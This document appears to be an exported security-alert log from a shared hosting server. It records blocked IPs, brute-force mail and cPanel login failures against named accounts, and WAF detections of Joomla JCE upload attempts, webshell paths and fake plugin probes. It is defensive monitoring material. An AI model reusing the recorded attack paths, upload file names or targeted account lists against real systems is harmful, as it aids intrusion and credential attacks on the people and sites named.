abuser: 49.124.153.2
country_id: 1733045
description:
2026-07-24 08:52:22 dovecot_login authenticator failed for H=([189.56.5.209]) [49.124.153.2]:44968: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.50
country_id: 1668284
description:
Jul 24 08:52:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-07-24 08:52:13 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net ([220.180.249.165]) [111.70.32.50]:35254: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 08:52:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 08:55:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 08:59:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.216.172.182
country_id: 3469034
description:
Jul 24 08:59:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.216.172.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.216.172.182
country_id: 3469034
description:
2026-07-24 08:59:43 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [200.216.172.182]:54991: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.108.218
country_id: 2017370
description:
Jul 24 09:00:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.108.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.108.218
country_id: 2017370
description:
2026-07-24 09:00:49 dovecot_login authenticator failed for H=([60.174.39.82]) [83.239.108.218]:45583: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.158.205.225
country_id: 1861060
description:
Jul 24 08:59:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.158.205.225 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.158.205.225
country_id: 1861060
description:
2026-07-24 08:59:56 dovecot_login authenticator failed for H=kd113158205225.ppp-bb.dion.ne.jp ([67.201.39.9]) [113.158.205.225]:46553: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.79.170.117
country_id: 1835841
description:
Jul 24 09:01:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.79.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-24 09:01:03 dovecot_login authenticator failed for H=([185.15.82.135]) [61.79.170.117]:45897: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.92.36
country_id: 1814991
description:
Jul 24 09:07:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.92.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.52
country_id: 2017370
description:
Jul 24 09:08:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.52
country_id: 2017370
description:
2026-07-24 09:08:11 dovecot_login authenticator failed for H=([174.64.199.88]) [178.178.222.52]:41690: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-24 09:08:17 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([199.102.105.241]) [89.67.37.52]:49766: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.212.54
country_id: 99237
description:
2026-07-24 09:08:41 dovecot_login authenticator failed for H=([59.37.13.66]) [62.201.212.54]:45182: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.201.212.54
country_id: 99237
description:
Jul 24 09:08:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.201.212.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.92.36
country_id: 1814991
description:
2026-07-24 09:08:01 dovecot_login authenticator failed for H=([121.131.220.142]) [36.135.92.36]:45870: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.92.134.11
country_id: 1168579
description:
2026-07-24 09:09:21 dovecot_plain authenticator failed for H=([69.172.210.47]) [111.92.134.11]:40037: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.228.114.37
country_id: 1605651
description:
2026-07-24 09:09:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [49.228.114.37]:33728: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.150.64.90
country_id: 1210997
description:
2026-07-24 09:10:12 dovecot_plain authenticator failed for H=([69.172.210.47]) [103.150.64.90]:57870: 535 Incorrect authentication data (set_id=marketing@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.203.130.185
country_id: 1694008
description:
2026-07-24 09:10:28 dovecot_plain authenticator failed for H=([69.172.210.47]) [112.203.130.185]:34866: 535 Incorrect authentication data (set_id=contact@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 09:10:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.208.210.31
country_id: 3469034
description:
2026-07-24 09:10:46 dovecot_plain authenticator failed for H=([69.172.210.47]) [143.208.210.31]:1331: 535 Incorrect authentication data (set_id=contato@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.118.115.73
country_id: 3865483
description:
2026-07-24 09:09:57 dovecot_plain authenticator failed for H=([69.172.210.47]) [138.118.115.73]:50598: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.204.103.89
country_id: 3996063
description:
2026-07-24 09:11:02 dovecot_plain authenticator failed for H=([69.172.210.47]) [187.204.103.89]:10634: 535 Incorrect authentication data (set_id=contacto@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.252.144.63
country_id: 3996063
description:
2026-07-24 09:11:17 dovecot_plain authenticator failed for H=([69.172.210.47]) [38.252.144.63]:47744: 535 Incorrect authentication data (set_id=financeiro@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.150.62.54
country_id: 3865483
description:
2026-07-24 09:11:36 dovecot_plain authenticator failed for H=([69.172.210.47]) [170.150.62.54]:53706: 535 Incorrect authentication data (set_id=comercial@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.54.37.227
country_id: 1210997
description:
2026-07-24 09:11:48 dovecot_plain authenticator failed for H=([69.172.210.47]) [103.54.37.227]:49322: 535 Incorrect authentication data (set_id=it@ddgalaxy.in)


plugin: modsec
rule: 77469918
abuser: 193.228.134.216
country_id: 690791
domain: gsmex.global
description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:105105.shtml||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.247.114.29
country_id: 3469034
description:
2026-07-24 09:12:03 dovecot_plain authenticator failed for H=([69.172.210.47]) [170.247.114.29]:60712: 535 Incorrect authentication data (set_id=accounts@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.9.1.219
country_id: 1643084
description:
2026-07-24 09:12:17 dovecot_plain authenticator failed for H=([69.172.210.47]) [182.9.1.219]:13661: 535 Incorrect authentication data (set_id=suporte@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.74.66.133
country_id: 1733045
description:
2026-07-24 09:12:33 dovecot_plain authenticator failed for H=([69.172.210.47]) [180.74.66.133]:43959: 535 Incorrect authentication data (set_id=hr@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.54.37.227
country_id: 1210997
description:
2026-07-24 09:11:55 dovecot_login authenticator failed for H=([69.172.210.47]) [103.54.37.227]:49322: 535 Incorrect authentication data (set_id=it@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 193.228.134.216
country_id: 690791
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:105105.php.PhP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.33.85.112
country_id: 2017370
description:
2026-07-24 09:12:49 dovecot_plain authenticator failed for H=112-85-33-194.intelcom-ug.ru ([69.172.210.47]) [194.33.85.112]:1031: 535 Incorrect authentication data (set_id=office@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.33.85.112
country_id: 2017370
description:
2026-07-24 09:12:56 dovecot_login authenticator failed for H=112-85-33-194.intelcom-ug.ru ([69.172.210.47]) [194.33.85.112]:1031: 535 Incorrect authentication data (set_id=office@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.124.227.89
country_id: 1210997
description:
2026-07-24 09:13:03 dovecot_plain authenticator failed for H=([69.172.210.47]) [103.124.227.89]:51810: 535 Incorrect authentication data (set_id=soporte@ddgalaxy.in)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2406:6d00:ffb:1200:e8a0:d48f:691b:61f0
country_id: 2077456
domain: www.futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.35||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Major||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 09:13:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://emergencyacrepair3.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-24 09:15:06 dovecot_login authenticator failed for H=(abts-mum-static-140.111.170.122.airtelbroadband.in) [102.210.148.41]:51312: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.219.77
country_id: 1835841
description:
Jul 24 09:15:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.219.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-24 09:15:20 dovecot_login authenticator failed for H=([183.171.4.144]) [119.192.219.77]:58243: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 09:15:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 09:15:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.171.43.162
country_id: 1733045
description:
2026-07-24 09:17:09 dovecot_login authenticator failed for H=([121.131.220.135]) [202.171.43.162]:54606: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.32.30.69
country_id: 2017370
description:
Jul 24 09:17:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.32.30.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.32.30.69
country_id: 2017370
description:
2026-07-24 09:17:24 dovecot_login authenticator failed for H=broadband-188-32-30-69.ip.moscow.rt.ru ([175.197.135.63]) [188.32.30.69]:55196: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 09:18:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 09:20:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.147
country_id: 1814991
description:
Jul 24 09:29:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.147
country_id: 1814991
description:
2026-07-24 09:29:24 dovecot_login authenticator failed for H=(wsip-184-186-73-72.lf.br.cox.net) [27.24.141.147]:45586: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.199.32.174
country_id: 3469034
description:
Jul 24 09:29:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.199.32.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.199.32.174
country_id: 3469034
description:
2026-07-24 09:29:57 dovecot_login authenticator failed for H=([70.166.167.35]) [200.199.32.174]:46099: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 09:31:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.241.254.124
country_id: 1814991
description:
2026-07-24 09:35:32 dovecot_login authenticator failed for H=([45.175.20.14]) [183.241.254.124]:56864: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.241.254.124
country_id: 1814991
description:
Jul 24 09:35:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.241.254.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.159.138
country_id: 1835841
description:
Jul 24 09:35:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.159.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.159.138
country_id: 1835841
description:
2026-07-24 09:35:45 dovecot_login authenticator failed for H=(static.91.254.104.190.cps.com.ar) [218.149.159.138]:36055: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 09:36:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 09:38:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 09:39:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.71.122.90
country_id: 1814991
description:
Jul 24 09:40:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.71.122.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.71.122.90
country_id: 1814991
description:
2026-07-24 09:40:49 dovecot_login authenticator failed for H=(104-194-37-176.tpia.execulink.com) [222.71.122.90]:38575: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 51.77.217.11
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/sym404/root/razor-agent.log||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 09:40:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.153.61
country_id: 1733045
description:
Jul 24 09:41:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.153.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.61
country_id: 1733045
description:
2026-07-24 09:41:09 dovecot_login authenticator failed for H=(mail.koffy.finance) [49.124.153.61]:55586: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 51.77.217.11
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/symconfig/root/razor-agent.log||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 09:42:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 82.23.124.33
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 09:52:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2406:6d00:ffb:1200:e8a0:d48f:691b:61f0
country_id: 2077456
domain: www.futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.35||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Insignificant||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.87.172.191
country_id: 3865483
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/b2b/india_eventgallery.php HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/include.php||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/1.php||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 09:58:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 198.145.49.168
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 82.27.19.3
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 183.212.235.157
country_id: 1814991
description:
[2026-07-24 10:03:06 +0530] info [whostmgrd] 183.212.235.157 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 10:03:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 10:03:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.226.89
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/true-4k-uhd-ultra-short-throw-laser-projector-v5000i?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 206.42.124.250
country_id: 1168579
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84053.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:741af27c8725314b35e2a433c8e1fb692b67340a||Title:0xc0d6fd50||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.211.165.46
country_id: 2077456
description:
Jul 24 10:07:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.211.165.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.2.204.84
country_id: 2635167
description:
Jul 24 10:08:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.2.204.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.2.204.84
country_id: 2635167
description:
2026-07-24 10:08:11 dovecot_login authenticator failed for H=([49.124.153.55]) [151.2.204.84]:45263: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.211.165.46
country_id: 2077456
description:
2026-07-24 10:07:53 dovecot_login authenticator failed for H=([39.118.24.100]) [118.211.165.46]:53755: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 10:13:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.191.106.186
country_id: 1814991
description:
Jul 24 10:16:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.191.106.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.7.248.50
country_id: 1814991
description:
Jul 24 10:17:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.7.248.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.7.248.50
country_id: 1814991
description:
2026-07-24 10:17:24 dovecot_login authenticator failed for H=([121.185.89.74]) [116.7.248.50]:34595: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.196.129.202
country_id: 1814991
description:
Jul 24 10:17:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.196.129.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.196.129.202
country_id: 1814991
description:
2026-07-24 10:17:40 dovecot_login authenticator failed for H=([45.191.91.81]) [120.196.129.202]:38625: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 10:21:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 187.15.158.198
country_id: 2782113
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_41de2d32.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 10:24:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 10:25:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 10:26:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
